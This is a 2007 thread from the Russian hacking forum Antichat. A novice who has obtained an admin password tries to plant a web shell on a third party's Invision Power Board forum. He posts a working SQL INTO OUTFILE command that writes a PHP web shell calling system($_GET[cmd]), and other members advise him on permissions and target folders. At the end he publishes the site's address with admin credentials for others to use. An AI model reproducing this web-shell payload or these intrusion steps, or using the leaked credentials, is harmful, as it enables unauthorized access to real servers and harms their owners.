Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Ошибка с шеллом в Ipb 1.3 (https://forum.antichat.xyz/showthread.php?t=46344)

SUBJECT617 08.08.2007 18:37

Ошибка с шеллом в Ipb 1.3
 
Вот, получил пароль админа, залил шелл через смайлы потом если через /forum/html/emoticons/antichatl.php перехожу то меня перекидывает на http://err.agava.ru/vh/cgierr/17/

Испровобал 2 шелла nts21Viev.php кажется такое еще...

Что мне делать? Как мне быть?

LEE_ROY 08.08.2007 18:50

Цитата:

залил шелл через смайлы
с чего ты взял, что ты его залил?

SUBJECT617 08.08.2007 18:57

Цитата:

Сообщение от LEE_ROY
с чего ты взял, что ты его залил?

Ну да ну да... Не пинайте меня, я ведь новичек совсем, надо ведь чему то учиться?) А так я решил так как не было The uploading failed как было во всех предыдущих форумах...



Не могу в MySQL найти никак, можете подсказать где именно? (phtml)

SUBJECT617 08.08.2007 21:17

В настройках нет атачей, так что я не могу прописать application/octet-stream и phtml :mad:

Через смайлы выходит что ничего не добавляется

Добавления настроек там вообще нет..

Просмотрел все темы про заливку шелла но ни один не подошел...

Потому собственно и спрашиваю...(

ЗЫ Замена HTML шаблона не проходит тоже...(

maxster 08.08.2007 22:11

Значит плохо искал, в ипб 1.* есть способ заливки через MySQL, поищи яуже не раз писал про этот метод

SUBJECT617 09.08.2007 11:23

Почему то когда пытался залить в папку uploads вывалило
Access denied for user: 'anabole8_admbd@localhost' (Using password: YES)

Как от этого избавиться?

Команда была такой:
SELECT '<?php system($_GET[cmd]); ?>' FROM mysql.user INTO OUTFILE '/home/anabole8/public_html/forum/uploads/shell.php'

n1†R0x 09.08.2007 11:24

Лучше попытайся залить в папку с аватарками, на заливку в /uploads/ у тебя может быть нет прав.

аа, ты через скуль заливал... скорее всего и правда прав на инто+аутфайл нету.

groundhog 09.08.2007 11:26

Это означает, что пользователь anabole8_admbd не имеет доступа в системную таблицу mysql или прав на исполнение команды OUTFILE. Скорее всего второе.

blackybr 09.08.2007 11:38

селекти из таблицы форума любой. Утебя нет прав на системные тадлицы. т.е. твой юзер не является рутовым,что обычно нужно для Mysql.user

SUBJECT617 09.08.2007 11:44

Ну тогда выходит залить шелл на этот форум нереально?
Ну тогда сами посмотрите если хотите... www.anabolex.ru/forum admin : yehakqag Буду другие форумы значит искать((


Время: 19:58